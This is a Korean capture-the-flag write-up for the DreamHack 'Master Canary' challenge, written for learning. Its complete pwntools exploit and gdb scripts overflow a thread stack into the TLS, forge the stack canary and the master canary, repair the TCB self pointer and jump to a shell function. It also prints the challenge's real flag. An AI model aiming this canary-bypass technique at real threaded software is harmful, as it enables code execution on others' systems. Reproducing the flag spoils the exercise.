[🥈 Silver 3] 카나리 원본이 같은 스레드 스택 안에 있다 — DreamHack Master Canary(mc_thread) 풀이

문제: DreamHack — Master Canary (mc_thread) 분류: Pwnable 난이도: 🥈 Silver 3 FLAG: DH{4aff595366eb9100145182b138c160003a59471c2da192bd67bb267210545e18}

스택 카나리를 뚫는 글은 대개 "카나리를 유출한다"로 시작한다. 이 문제는 유출할 구멍이 없다. 출력이라고는 Size: 과 Data: 두 줄뿐이고, 넣은 값을 되돌려 주는 곳이 하나도 없다.

그런데 이 문제의 답은 유출이 아니다. 검사에 쓰이는 카나리 원본이 우리가 넘치는 버퍼와 같은 메모리 영역 안에 있다. 그래서 원본을 몰라도 된다 — 둘을 같은 값으로 바꿔 버리면 그만이다.

스레드 스택과 TLS 배치를 한 장으로 정리한 그림이다. buf에서 0x928 위에 마스터 카나리가 있다

문제 개요

항목	내용
문제명	Master Canary (배포 바이너리 이름은 `mc_thread`)
난이도	🥈 Silver 3
분류	Pwnable
제공 파일	`mc_thread`, `mc_thread.c`, `Dockerfile`, `libc.so.6`, `ld-linux-x86-64.so.2`
환경	Ubuntu 22.04 / glibc 2.35 / socat 로 표준입출력 연결
보호 기법	NX, Partial RELRO, Stack Canary, No PIE
핵심 취약점	스레드 스택 오버플로우가 TLS의 마스터 카나리까지 닿는다

흐름은 짧다. pthread_create로 만든 스레드 안에서 크기 검사 없는 오버플로우가 일어나고, 그 스레드의 TCB(struct pthread)가 같은 스택 매핑의 꼭대기에 붙어 있다. 버퍼에서 위로 0x928바이트를 쓰면 fs:0x28, 즉 카나리 원본에 닿는다. 스택 복사본과 원본을 같은 값으로 맞추고 반환 주소를 giveshell로 돌리면 끝이다.

한 가지 함정이 있는데, 그 "쓰는 김에 지나가는" 구간에 TCB의 self 포인터가 있다. 거기를 아무 값으로 채우면 다음 read() 호출이 그 자리에서 죽는다. 이 글의 절반은 그 이야기다.

🧩 배경 — 카나리는 어디에서 오는가

gcc -fstack-protector가 붙인 카나리 검사는 컴파일러가 만든 두 줄로 요약된다. 함수 앞에서 카나리 값을 스택에 복사해 두고, 함수 끝에서 그 복사본이 그대로인지 확인한다.

; 함수 진입부
mov rax, QWORD PTR fs:0x28      ; 원본을 읽어서
mov QWORD PTR [rbp-0x8], rax    ; 스택에 복사본을 둔다
 
; 함수 종료부
mov rax, QWORD PTR [rbp-0x8]    ; 복사본과
sub rax, QWORD PTR fs:0x28      ; 원본을 비교
je  ok
call __stack_chk_fail

여기서 중요한 것은 원본이 fs:0x28에 있다는 점이다. x86-64 리눅스에서 fs 세그먼트 베이스는 그 스레드의 TCB(Thread Control Block)를 가리키고, TCB의 첫 구조체인 tcbhead_t의 0x28 오프셋에 stack_guard 필드가 있다.

/* glibc: sysdeps/x86_64/nptl/tls.h */
typedef struct {
  void *tcb;                /* 0x00 */
  dtv_t *dtv;               /* 0x08 */
  void *self;               /* 0x10 */
  int multiple_threads;     /* 0x18 */
  int gscope_flag;          /* 0x1c */
  uintptr_t sysinfo;        /* 0x20 */
  uintptr_t stack_guard;    /* 0x28 */  /* <- 카나리 원본 */
  uintptr_t pointer_guard;  /* 0x30 */
  ...
} tcbhead_t;

값 자체는 프로세스가 시작할 때 딱 한 번 만들어진다. 그리고 pthread_create로 새 스레드를 만들면 glibc가 메인 스레드의 값을 그대로 복사해 새 TCB에 심는다. 그래서 한 프로세스의 모든 스레드가 같은 카나리를 쓴다 — 이게 문제 제목의 "마스터 카나리"다.

여기까지는 그냥 상식이다. 실제로 뚫는 데 쓰이는 사실은 그다음이다. 스레드의 TCB는 그 스레드의 스택과 같은 매핑 안에 있다. pthread_create는 스레드마다 스택을 mmap으로 하나 잡고, 그 영역의 맨 위에 struct pthread를 얹는다. 스택은 아래로 자라니까 서로 부딪히지 않는다는 계산인데, 뒤집어 말하면 스택 버퍼를 위로 충분히 덮으면 TCB에 닿는다는 뜻이다.

메인 스레드에서는 이런 일이 안 생긴다. 메인 스레드의 TCB는 스택이 아니라 별도 매핑에 있고, 그 사이에 환경변수·argv를 비롯한 커널이 깔아 둔 영역이 통째로 끼어 있다. 이 공격이 스레드 안에서만 성립하는 이유다.

🔬 정찰 — 파일부터 본다

배포본을 풀면 소스까지 들어 있다. 서버를 켜기 전에 여기서 끝낼 수 있는 문제다.

$ ls extracted/
Dockerfile  flag  ld-linux-x86-64.so.2  libc.so.6  mc_thread  mc_thread.c

Dockerfile이 환경을 그대로 알려 준다. 로컬 검증을 어디에 맞춰야 하는지가 여기서 정해진다.

FROM ubuntu:22.04@sha256:67211c14fa74f070d27cc59d69a7fa9aeff8e28ea118ef3babc295a0428a6d21
ENV user mc_thread
ENV chall_port 7182
RUN apt-get update
RUN apt-get -y install socat
RUN adduser $user
ADD ./flag /home/$user/flag
ADD ./$user /home/$user/$user
RUN chmod 755 /home/$user/$user
RUN chmod 440 /home/$user/flag
WORKDIR /home/$user
USER $user
CMD while :; do socat -T 30 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user ; done

socat ... EXEC:이라 프로그램의 표준입출력이 그대로 소켓에 물린다. 셸만 잡으면 그 셸의 입출력도 같은 소켓으로 이어진다는 뜻이다. -T 30이라 30초 안에 끝내야 한다. 그리고 배포본 안의 flag는 DH{**flag**}라는 자리표시자다 — 진짜 값은 라이브 서버에만 있다.

보호 기법부터 확인한다.

file mc_thread; pwn checksec mc_thread

file과 pwntools checksec 출력이다. NX와 카나리가 켜져 있고 PIE는 꺼져 있다

카나리가 켜져 있고 NX도 켜져 있다. 대신 No PIE라 바이너리의 주소는 전부 고정이다 (0x400000 기준). 이 사실은 나중에 결정적으로 쓰인다.

소스 — 43줄이 전부다

// Name: mc_thread.c
// Compile: gcc -o mc_thread mc_thread.c -pthread -no-pie
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
 
void read_bytes(char *buf, int size) {
  int i;
 
  for (i = 0; i < size; i++)
    if (read(0, buf + i*8, 8) < 8)
      return;
}
 
void thread_routine() {
  char buf[256];
  int size = 0;
  printf("Size: ");
  scanf("%d", &size);
  printf("Data: ");
  read_bytes(buf, size);
}
 
int main() {
  pthread_t thread_t;
 
  init();
 
  if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
    perror("thread create error:");
    exit(0);
  }
  pthread_join(thread_t, 0);
  return 0;
}

buf는 256바이트인데 size는 우리가 정하고, read_bytes는 그 size를 그대로 믿고 8바이트씩 size번 쓴다. 즉 최대 size * 8바이트를 쓸 수 있다. giveshell이 이미 있으니 ROP도 필요 없다. 반환 주소만 거기로 돌리면 된다.

문제는 그 사이를 막고 있는 카나리다.

디스어셈블 — 프레임 배치를 눈으로 확인

소스만 보고 오프셋을 짐작하면 틀린다. 컴파일러가 buf를 어디에 놓았는지 직접 본다.

objdump -d --no-show-raw-insn -M intel \
  --start-address=0x401316 --stop-address=0x4013b2 mc_thread | sed -E -f ../work/annot_thread.sed

캡쳐의 <-- 주석은 도구가 찍은 게 아니라 내가 sed로 얹은 것이다. 규칙 파일은 이렇게 생겼다.

s/(sub    rsp,0x120)/\1                 <-- thread_routine 프레임 0x120/
s/(mov    rax,QWORD PTR fs:0x28)/\1   <-- 마스터 카나리를 TLS 에서 읽어와/
s/(mov    QWORD PTR \[rbp-0x8\],rax)/\1  <-- 스택에 복사본을 둔다/
s/(lea    rax,\[rbp-0x114\])/\1        <-- size (int)/
s/(lea    rax,\[rbp-0x110\])/\1        <-- buf[256] 시작 = rbp-0x110/
s/(call   4012c1 <read_bytes>)/\1  <-- read_bytes(buf, size)  크기 검사 없음/
s/(sub    rax,QWORD PTR fs:0x28)/\1   <-- 스택 복사본 vs TLS 원본 비교/

objdump로 뜬 thread_routine 디스어셈블이다. buf는 rbp-0x110이고 카나리는 rbp-0x8에 있다

프레임 배치가 확정됐다.

대상	주소	`buf` 기준
`buf[256]`	`rbp-0x110`	`+0x000`
`size` (int)	`rbp-0x114`	—
카나리 복사본	`rbp-0x8`	`+0x108`
saved rbp	`rbp+0x0`	`+0x110`
반환 주소	`rbp+0x8`	`+0x118`

buf가 rbp-0x110인데 카나리가 rbp-0x8이니 그 사이는 0x108바이트다. 버퍼 256바이트(0x100)보다 8바이트 넓다 — 정렬용 패딩이 끼어 있는 것이다. 이런 값을 소스만 보고 0x100이라고 적었다면 거기서 어긋난다.

이제 오버플로우를 일으키는 함수를 본다.

objdump -d --no-show-raw-insn -M intel \
  --start-address=0x4012c1 --stop-address=0x401316 mc_thread | sed -E -f ../work/annot_read_bytes.sed

objdump로 뜬 read_bytes 디스어셈블이다. size 상한 검사가 없고 8바이트씩 반복해서 읽는다

cmp eax, DWORD PTR [rbp-0x1c] — i와 size만 비교한다. size의 상한을 보는 곳이 없다. 루프를 빠져나가는 유일한 길은 read가 8바이트를 못 채우는 경우(cmp rax,0x7 / jle)뿐이다.

이 조건은 익스플로잇에서도 신경 써야 한다. 페이로드를 한 번에 던졌는데 TCP 세그먼트 경계가 8바이트 중간에 걸리고 마침 프로그램이 그 경계를 따라잡으면, read가 7바이트를 반환하면서 루프가 조기 종료된다. 실제로는 프로그램의 read 반복이 네트워크보다 훨씬 느려서 커널 수신 버퍼에 데이터가 먼저 쌓이지만, 실패하면 이걸 의심하면 된다.

🧱 스레드 스택은 어떻게 잡히나

pthread_create는 스레드마다 스택을 mmap으로 잡는다(기본 8MB). x86-64는 TLS variant II라서, 그 영역의 위쪽에 struct pthread(=TCB)를 얹고 그 아래에 static TLS 블록을 붙인다. fs 레지스터 베이스가 곧 TCB의 시작이다.

높은 주소
  ┌──────────────────────────┐
  │ struct pthread (TCB)      │ <- fs 레지스터가 여기
  │   fs:0x28 = stack_guard   │
  ├──────────────────────────┤
  │ static TLS 블록 (errno 등) │
  ├──────────────────────────┤
  │ start_thread 프레임        │
  │ thread_routine 프레임      │ <- buf[256] 이 여기
  │        ...                │
  │ (8MB 스택, 아래로 자란다)   │
  └──────────────────────────┘
낮은 주소

thread_routine은 스레드가 시작하자마자 호출되니 프레임이 스택 꼭대기 근처에 있다. 그래서 buf에서 TCB까지의 거리는 몇 킬로바이트 수준이다. 정확한 값만 재면 된다.

📏 오프셋 실측 — 짐작하지 않는다

buf에서 fs:0x28까지의 거리는 glibc 버전마다 다르다. struct pthread 레이아웃도, start_thread가 쓰는 스택 크기도 버전마다 달라지기 때문이다. 그래서 문제와 같은 glibc로 직접 재야 한다. 배포본이 libc.so.6과 ld-linux-x86-64.so.2를 같이 준 이유가 이것이다.

로컬 환경 구성

내 데스크톱 glibc는 2.42라서 그대로 돌리면 다른 값이 나온다. 배포된 2.35로 강제한다.

mkdir -p work && cd work
cp ../extracted/{mc_thread,libc.so.6,ld-linux-x86-64.so.2} .
chmod +x mc_thread ld-linux-x86-64.so.2
patchelf --set-interpreter "$PWD/ld-linux-x86-64.so.2" --set-rpath "$PWD" mc_thread
ldd mc_thread          # libc.so.6 이 work/ 것으로 잡히는지 확인

strings libc.so.6 | grep "GNU C Library"로 버전을 확인해 두면 좋다 — 이 배포본은 Ubuntu GLIBC 2.35-0ubuntu3.1이다.

gdb로 재기

read_bytes 호출 직전(0x401396)에 멈춰 rbp와 fs_base를 읽으면 필요한 값이 다 나온다. run < size1.txt로 표준입력을 파일에서 받게 해서 대화형 입력 없이 배치로 돌린다 (size1.txt에는 1 한 줄만 들어 있다).

set confirm off
set pagination off
# read_bytes(buf, size) 호출 직전 — 이 시점의 rbp / fs_base 로 오프셋을 잰다
break *0x401396
run < size1.txt
printf "buf         = %p\n", (char *)($rbp-0x110)
printf "canary_slot = %p\n", (char *)($rbp-0x8)
printf "ret_addr    = %p\n", (char *)($rbp+0x8)
printf "fs_base(TCB)= %p\n", (char *)$fs_base
printf "master_can  = %p\n", (char *)($fs_base+0x28)
printf "\n--- offsets from buf ---\n"
printf "buf -> canary_slot : 0x%lx\n", (long)($rbp-0x8)-(long)($rbp-0x110)
printf "buf -> ret_addr    : 0x%lx\n", (long)($rbp+0x8)-(long)($rbp-0x110)
printf "buf -> master_can  : 0x%lx\n", (long)($fs_base+0x28)-(long)($rbp-0x110)
printf "\nstack canary  = %p\n", *(unsigned long*)($rbp-0x8)
printf "master canary = %p\n", *(unsigned long*)((long)$fs_base+0x28)
quit

gdb가 뱉는 경고(patchelf로 섹션을 옮긴 탓에 나오는 Loadable section ... outside of ELF segments, libthread_db 경고)는 화면을 가리기만 해서 gdbnoise.txt로 걸렀다.

^warning:
outside of ELF
^  in /home

gdb -q -batch -x find_offset.gdb ./mc_thread 2>&1 | grep -v -f gdbnoise.txt | cat -s

gdb 배치 실행으로 buf에서 카나리, 반환 주소, TLS 원본까지의 오프셋을 실측한 화면이다

대상	`buf` 기준 오프셋
카나리 복사본 `[rbp-0x8]`	`0x108`
반환 주소 `[rbp+0x8]`	`0x118`
마스터 카나리 `fs:0x28`	`0x928`

그리고 마지막 두 줄이 이 문제의 전부다. stack canary와 master canary가 완전히 같은 값으로 찍힌다. 함수 진입부에서 원본을 복사해 온 것이니 당연하지만, 그 둘이 같은 프로세스 메모리 안에서 0x820바이트 떨어져 나란히 있다는 사실이 눈에 보이면 공격 방향이 정해진다.

매핑도 같이 확인한다

buf와 TCB가 정말 한 매핑 안에 있는지, 그리고 나중에 쓸 쓰기 가능 주소가 어디인지 본다.

set confirm off
set pagination off
break *0x401396
run < size1.txt
printf "\nthread buf  = %p    (fs_base = %p)\n", (char *)($rbp-0x110), (char *)$fs_base
info proc mappings
quit

전체 매핑은 45줄이라 보고 싶은 줄만 maps_focus.txt로 골랐다.

thread buf
Start Addr
master-canary/work/mc_thread
[heap]
0x00007ffff73ff000
0x00007ffff7400000

gdb -q -batch -x mappings.gdb ./mc_thread 2>&1 | grep -v -f gdbnoise.txt | grep -F -f maps_focus.txt

gdb info proc mappings 출력이다. 8MB 익명 매핑 하나가 스레드 스택이고 그 위쪽에 TCB가 있다

0x00007ffff7400000부터 0x00007ffff7c00000까지 0x800000(8MB)짜리 익명 rw-p 매핑이 스레드 스택이다. buf = 0x7ffff7bfed40, fs_base = 0x7ffff7bff640 — 둘 다 그 매핑의 꼭대기 근처다. 바로 아래 0x7ffff73ff000의 ---p 한 페이지는 스택 아래쪽 가드 페이지다. 가드 페이지는 아래에만 있다. 위로 넘치는 이번 공격에는 아무 소용이 없다.

같은 화면에서 하나 더 확인해 둔다. 바이너리의 0x404000부터 0x405000까지가 rw-p다. No PIE라 이 주소는 실행할 때마다 똑같다. 이따가 쓴다.

다른 glibc를 쓴다면 0x928은 그대로 쓰면 안 된다. 위 find_offset.gdb를 그 환경에서 돌려 다시 재면 된다. 0x108과 0x118은 바이너리가 정하는 값이라 바뀌지 않는다.

🐛 삽질 — 그냥 덮으면 죽는다

여기까지 오면 페이로드는 뻔해 보인다. buf부터 0x928까지 쭉 채우고 세 자리만 원하는 값으로 두면 된다.

▶🐛 삽질 — TCB를 통째로 뭉갰더니 read()가 SIGSEGV

첫 페이로드는 이랬다. 사이 구간은 전부 C로 채웠다.

p  = b"A" * 0x108        # buf ~ 카나리 직전
p += p64(FAKE)           # 카나리 복사본
p += b"B" * 8            # saved rbp
p += p64(GIVESHELL)      # 반환 주소
p += b"C" * (0x928 - len(p))   # 나머지 전부
p += p64(FAKE)           # fs:0x28

결과는 셸이 아니라 SIGSEGV였다. 그것도 thread_routine이 반환하기 전에, 아직 read_bytes 루프를 돌고 있는 중에 죽었다.

확인용 입력을 파일로 떨구는 스크립트를 만들었다. 맨 앞 294\n은 scanf("%d")가 읽는 size다.

#!/usr/bin/env python3
# gdb 로 확인할 입력을 파일로 떨군다. 맨 앞 "294\n" 은 scanf("%d") 가 읽는 size 다.
#   python3 gen_payload.py naive  -> payload_naive.bin  (TCB 를 통째로 뭉갠 첫 시도)
#   python3 gen_payload.py final  -> payload.bin        (self / multiple_threads 를 살려둔 최종본)
import sys
from struct import pack
 
p64 = lambda x: pack("<Q", x)
 
GIVESHELL = 0x401256
OFF_CANARY, OFF_RET, OFF_MASTER = 0x108, 0x118, 0x928
OFF_TCB = OFF_MASTER - 0x28
FAKE = 0xDEADBEEFCAFEBABE
SAFE_SELF = 0x404000
 
mode = sys.argv[1] if len(sys.argv) > 1 else "final"
 
p = b"A" * OFF_CANARY + p64(FAKE) + b"B" * 8 + p64(GIVESHELL)
p += b"C" * (OFF_TCB - len(p))
if mode == "naive":
    p += b"C" * 0x28  # tcbhead_t 를 통째로 'C' 로 (= 첫 시도)
    out = "payload_naive.bin"
else:
    p += p64(0) + p64(0) + p64(SAFE_SELF) + p64(0) + p64(0)
    out = "payload.bin"
p += p64(FAKE)
 
assert len(p) == OFF_MASTER + 8
open(out, "wb").write(b"%d\n" % (len(p) // 8) + p)
print(f"{out}: {len(p)} bytes, size = {len(p)//8}")

그리고 어디서 죽는지 본다.

set confirm off
set pagination off
# tcbhead_t 를 통째로 뭉갠 첫 시도 — 어디서 죽는지 본다
run < payload_naive.bin
printf "\n=== crash site ===\n"
info registers rip rax
x/2i $rip
quit

python3 gen_payload.py naive
gdb -q -batch -x crash_naive.gdb ./mc_thread 2>&1 | grep -v -f gdbnoise.txt | cat -s

gdb로 잡은 크래시 지점이다. rax가 0x4343434343434343이고 movb 명령이 그 주소에 쓰려다 죽었다

rax = 0x4343434343434343. 우리가 채운 C 여덟 개다. 죽은 명령은 movb $0x0,0x972(%rax). 어딘가에서 우리가 덮은 값을 포인터로 믿고 역참조하고 있다는 뜻이다.

크래시 주소가 libc 안이라 그 근처를 떠 봤다. 심볼이 __libc_alloca_cutoff+...로 잡히는데, 이건 로컬 심볼이 없어서 가장 가까운 공개 심볼로 표시된 것뿐이다. 내용은 다른 함수다.

objdump -d --no-show-raw-insn --start-address=0x90a70 --stop-address=0x90afa libc.so.6 \
  | sed -E -f ../work/annot_cancel.sed

objdump로 뜬 libc 디스어셈블이다. fs:0x10에서 읽은 self 포인터를 두 곳에서 역참조한다

두 개의 함수가 붙어 있다. 이름은 동적 심볼 테이블에 없다 — nm -D로 보면 바로 앞이 __libc_alloca_cutoff(0x90a20), 뒤가 __pthread_register_cancel(0x90b00)이라 그 사이의 취소 처리 함수들이다. 하는 일도 그대로다. 앞쪽은 fs:0x972(취소 타입)의 옛 값을 반환하면서 1로 바꾸고, 뒤쪽은 그 옛 값을 edi로 받아 되돌린다. glibc의 __pthread_enable_asynccancel / __pthread_disable_asynccancel 쌍이다. read는 취소 지점(cancellation point)이라 호출 앞뒤로 이 둘을 부른다.

문제는 두 함수가 모두 mov %fs:0x10,%rcx(또는 %rax)로 self 포인터를 읽어서 역참조한다는 것이다.

enable 쪽: cmpb $0x0,0x971(%rcx) — self+0x971을 읽는다.
disable 쪽: movb $0x0,0x972(%rax) — self+0x972에 쓴다.

정상 상태에서는 self가 fs_base 자신을 가리키니 그냥 fs:0x971, fs:0x972와 같은 자리다. 그런데 우리가 fs:0x10을 C로 채우는 순간 이 값은 0x4343...이 되고, 바로 그 read()가 반환하면서 부르는 disable이 거기에 쓰려다 죽는다.

즉 순서가 이렇다. read가 fs:0x10 자리에 우리 데이터를 쓰고 → 그 read의 뒤처리로 disable_asynccancel이 불리고 → 방금 우리가 망친 포인터를 그대로 쓴다. TCB를 지나가야 하는데, 지나가는 순간 다음 걸음이 무너지는 구조다.

💣 핵심 — TCB를 "통과"하는 법

fs:0x28에 닿으려면 그 앞의 0x00~0x27 다섯 칸을 반드시 지나야 한다. 지울 수는 없으니 죽지 않을 값으로 채워서 지나간다. 각 칸을 하나씩 따져 봤다.

오프셋	필드	덮어도 되나	채운 값
`fs:0x00`	`tcb`	이후 경로에서 안 읽는다	`0`
`fs:0x08`	`dtv`	동적 TLS 접근에만 쓰인다. 남은 경로에는 없다	`0`
`fs:0x10`	`self`	역참조된다. 유효한 쓰기 가능 주소여야 한다	`0x404000`
`fs:0x18`	`multiple_threads` / `gscope_flag`	값에 따라 경로가 갈린다	`0`
`fs:0x20`	`sysinfo`	x86-64에서는 안 쓴다	`0`
`fs:0x28`	`stack_guard`	목표	`0xdeadbeefcafebabe`

`self`를 어디로 보낼 것인가

필요한 조건은 두 가지뿐이다. self+0x971이 읽을 수 있고, self+0x972에 쓸 수 있으면 된다. 스레드 TCB의 진짜 주소는 ASLR 때문에 모른다. 하지만 이 바이너리는 No PIE다. 바이너리가 차지하는 주소는 실행할 때마다 똑같다.

readelf -lW mc_thread | grep -E "Type|LOAD|GNU_RELRO"

readelf 세그먼트 출력이다. 마지막 LOAD가 쓰기 가능하고 RELRO는 그 앞에서 끝난다

마지막 LOAD가 0x403e10에서 시작해 메모리 크기 0x290, 즉 0x4040a0까지다. 권한은 RW. GNU_RELRO는 0x403e10부터 0x1f0바이트, 다시 말해 0x404000에서 끝난다. 그래서 RELRO가 적용된 뒤에도 0x404000 이후는 계속 쓰기 가능하다.

매핑은 페이지 단위라 실제로는 0x404000부터 0x405000까지 한 페이지가 통째로 rw-p로 잡힌다. 앞에서 info proc mappings로 이미 확인한 그 줄이다. self = 0x404000으로 두면 self+0x972 = 0x404972가 그 페이지 안에 들어온다.

`multiple_threads = 0`이 주는 덤

fs:0x18을 0으로 만들면 glibc의 SINGLE_THREAD_P가 참이 된다. 그러면 이후의 read는 취소 처리 자체를 건너뛰고 곧장 시스템 콜로 간다. self를 안전한 곳으로 돌려놓은 것만으로도 충분하지만, 이걸 같이 해 두면 self를 건드리는 경로 자체가 사라져서 더 확실하다.

순서도 맞다. 페이로드에서 self(+0x910)가 multiple_threads(+0x918)보다 먼저 쓰이므로, self를 덮은 그 read의 뒤처리는 이미 0x404000을 쓴다.

왜 `dtv`를 0으로 둬도 되나

dtv는 동적 TLS 변수를 찾을 때(__tls_get_addr) 쓰인다. 카나리 검사가 끝나고 giveshell로 가서 execve를 부르는 그 짧은 경로에는 동적 TLS 접근이 없다. execve가 실패하면 errno를 건드리는데 그건 initial-exec 모델이라 fs 오프셋 직접 접근이고, 애초에 성공하면 그 코드로 돌아오지도 않는다.

🎯 페이로드 조립

정리하면 이렇게 된다. 총 0x930 = 2352바이트, read_bytes가 8바이트씩 읽으니 size = 294다.

`buf` 오프셋	길이	값
`+0x000`	`0x108`	`A` 채움
`+0x108`	8	위조 카나리 `0xdeadbeefcafebabe`
`+0x110`	8	saved rbp (아무 값)
`+0x118`	8	`giveshell` = `0x401256`
`+0x120`	`0x7e0`	`C` 채움 (안 쓰는 스택 + static TLS)
`+0x900`	8	`tcb` = 0
`+0x908`	8	`dtv` = 0
`+0x910`	8	`self` = `0x404000`
`+0x918`	8	`multiple_threads` = 0
`+0x920`	8	`sysinfo` = 0
`+0x928`	8	마스터 카나리 = `0xdeadbeefcafebabe`

반환 주소를 giveshell의 시작(0x401256)으로 잡는 게 맞는지도 확인해 둔다.

0000000000401256 <giveshell>:
  401256:  endbr64
  40125a:  push   rbp
  40125b:  mov    rbp,rsp
  40125e:  mov    edx,0x0          ; envp = NULL
  401263:  mov    esi,0x0          ; argv = NULL
  401268:  lea    rax,[rip+0xd95]  ; "/bin/sh"
  40126f:  mov    rdi,rax
  401272:  call   401100 <execve@plt>

인자를 전부 자기가 세팅하니 스택 정렬만 맞으면 그냥 들어가면 된다. endbr64로 시작하는 것도 다행이다 — 이 바이너리는 IBT 프로퍼티가 붙어 있어서, 간접 분기 대상이 되려면 endbr64가 필요할 수 있다. 함수 시작으로 뛰니 문제없다.

덮이고 나서의 상태를 확인

페이로드가 의도대로 들어갔는지, 카나리 검사 직전(0x40139b)에 멈춰서 본다.

set confirm off
set pagination off
# read_bytes 가 끝난 직후 (카나리 검사 직전) 상태를 본다
break *0x40139b
run < payload.bin
printf "\n=== read_bytes 직후 ===\n"
printf "stack canary  [rbp-0x8] = %p\n", *(unsigned long*)($rbp-0x8)
printf "master canary  fs:0x28  = %p\n", *(unsigned long*)((long)$fs_base+0x28)
printf "return addr   [rbp+0x8] = %p  ", *(unsigned long*)($rbp+0x8)
info symbol *(unsigned long*)($rbp+0x8)
printf "tcb.self       fs:0x10  = %p\n", *(unsigned long*)((long)$fs_base+0x10)
printf "multiple_threads fs:0x18= %d\n", *(int*)((long)$fs_base+0x18)
quit

python3 gen_payload.py final
gdb -q -batch -x verify_after.gdb ./mc_thread 2>&1 | grep -v -f gdbnoise.txt | cat -s

gdb로 확인한 오버플로우 직후 상태다. 스택 카나리와 TLS 원본이 같은 위조값이고 반환 주소는 giveshell이다

스택 복사본 0xdeadbeefcafebabe
TLS 원본 0xdeadbeefcafebabe — 두 값이 같으니 __stack_chk_fail은 안 불린다
반환 주소 0x401256, gdb가 giveshell in section .text로 심볼까지 확인해 준다
self는 0x404000, multiple_threads는 0

의도한 그대로다.

🚀 Full Exploit

solve.py 전문이다. 인자 없이 돌리면 로컬(./mc_thread), remote host:port를 주면 라이브 서버다. 로컬에는 진짜 flag가 없으니 셸을 잡았다는 표시만 찍게 했다.

#!/usr/bin/env python3
# Master Canary (mc_thread) — 스레드 스택 오버플로우로 TLS 의 마스터 카나리까지 덮어쓴다.
#
#   local :  python3 solve.py
#   remote:  python3 solve.py remote host3.dreamhack.games:15836
#
# 인자 없이 실행하면 로컬(./mc_thread)이다. 로컬은 flag 가 없으므로 셸 획득만 확인한다.
from pwn import *
import sys
 
context.arch = "amd64"
context.log_level = "info"
 
GIVESHELL = 0x401256  # giveshell() — execve("/bin/sh", 0, 0)
 
# gdb 로 실측한 값 (work/find_offset.gdb). thread_routine 의 buf 기준 오프셋.
OFF_CANARY = 0x108  # buf -> [rbp-0x8]  스택 카나리 복사본
OFF_RET = 0x118  # buf -> [rbp+0x8]  반환 주소
OFF_MASTER = 0x928  # buf -> fs:0x28   TLS 안의 마스터 카나리
 
FAKE = 0xDEADBEEFCAFEBABE  # 마스터/스택 양쪽에 같은 값을 심는다
SAFE_SELF = 0x404000  # No-PIE 라 항상 고정. rw-p 페이지(0x404000~0x405000) 시작점
 
 
OFF_TCB = OFF_MASTER - 0x28  # buf -> fs:0x00 (tcbhead_t 시작)
 
 
def build_payload():
    p = b"A" * OFF_CANARY  # buf[256] + 정렬 패딩
    p += p64(FAKE)  # [rbp-0x8]  스택 카나리 <- 위조값
    p += b"B" * 8  # [rbp+0x0]  saved rbp (아무 값)
    p += p64(GIVESHELL)  # [rbp+0x8]  반환 주소 <- giveshell()
    p += b"C" * (OFF_TCB - len(p))  # 스레드 스택 나머지 + static TLS 블록
    # tcbhead_t 앞부분 — 여기를 아무 값으로 뭉개면 다음 read() 가 죽는다.
    #  fs:0x10(self) : __pthread_disable_asynccancel 이 [self+0x972] 에 0 을 쓴다.
    #                  -> No-PIE 바이너리의 쓰기 가능 페이지(.bss 뒤)를 가리키게 둔다.
    #  fs:0x18(multiple_threads)=0 : 이후 read() 가 SINGLE_THREAD_P 경로로 빠진다.
    p += p64(0)  # fs:0x00 tcb
    p += p64(0)  # fs:0x08 dtv
    p += p64(SAFE_SELF)  # fs:0x10 self
    p += p64(0)  # fs:0x18 multiple_threads(int) + gscope_flag(int)
    p += p64(0)  # fs:0x20 sysinfo
    p += p64(FAKE)  # fs:0x28    마스터 카나리 <- 같은 위조값
    assert len(p) == OFF_MASTER + 8 and len(p) % 8 == 0
    return p
 
 
payload = build_payload()
size = len(payload) // 8  # read_bytes 는 8바이트씩 size 번 읽는다
 
if len(sys.argv) > 2 and sys.argv[1] == "remote":
    host, port = sys.argv[2].split(":")
    p = remote(host, int(port))
    cmd = b"cat flag"
else:
    p = process("./mc_thread")
    cmd = b"echo LOCAL_SHELL_OK; id"
 
log.info(f"payload {len(payload)} bytes / size = {size}")
 
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())
p.recvuntil(b"Data: ")
p.send(payload)
 
p.sendline(cmd)
out = p.recvall(timeout=5)
print(out.decode(errors="replace").strip())

먼저 로컬에서 확인한다.

python3 solve.py

solve.py 로컬 실행 화면이다. 2352바이트 페이로드를 밀어 넣어 셸을 잡았고, LOCAL_SHELL_OK 배너와 uid=1000(jinho)로 시작하는 id 출력이 그대로 돌아온 것까지 보인다

LOCAL_SHELL_OK와 id 결과가 돌아왔다. execve("/bin/sh", 0, 0)이라 argv가 NULL인데도 셸은 정상적으로 명령을 받는다.

이제 라이브 서버다.

python3 solve.py remote host3.dreamhack.games:15836

solve.py 원격 실행 화면이다. 라이브 서버에서 cat flag 결과로 플래그가 돌아왔다

DH{4aff595366eb9100145182b138c160003a59471c2da192bd67bb267210545e18}

판정 마커

중간에 막히면 어디가 어긋난 것인지 화면으로 구분할 수 있다.

화면	뜻	볼 곳
`* stack smashing detected *`	두 카나리가 서로 다르다	`0x108`과 `0x928` 위치, 두 값이 같은지
아무 출력 없이 연결 종료	`read_bytes` 도중 SIGSEGV	`fs:0x10`(`self`)을 유효 주소로 뒀는지
`Data:` 뒤에 그대로 멈춤	`read`가 8바이트를 못 채워 루프 조기 종료	페이로드 길이가 `size * 8`과 정확히 같은지
`Size:` 뒤에 응답 없음	`size`를 개행 없이 보냈다	`sendline`으로 보내는지

🧪 재현 — `reproduce.sh`

배포본만 있으면 바로 돌아가게 스크립트로 묶어 뒀다. 인자 없이 돌리면 로컬 셸까지, host:port를 주면 진짜 flag까지 확인한다.

#!/usr/bin/env bash
# Master Canary (mc_thread, id 359) — 한 방 재현.
#
#   ./reproduce.sh                              로컬만: 셸을 잡는지 확인 (flag 없음)
#   ./reproduce.sh host3.dreamhack.games:15836  라이브: 실제 flag 를 뽑아 정답과 대조
#
# 로컬에는 flag 가 없다(배포본 flag 파일은 'DH{**flag**}' 자리표시자). 그래서 로컬 PASS 는
# "셸을 잡았다"까지만 뜻한다 — 진짜 flag 는 인자로 라이브 서버를 줘야 나온다.
set -eu
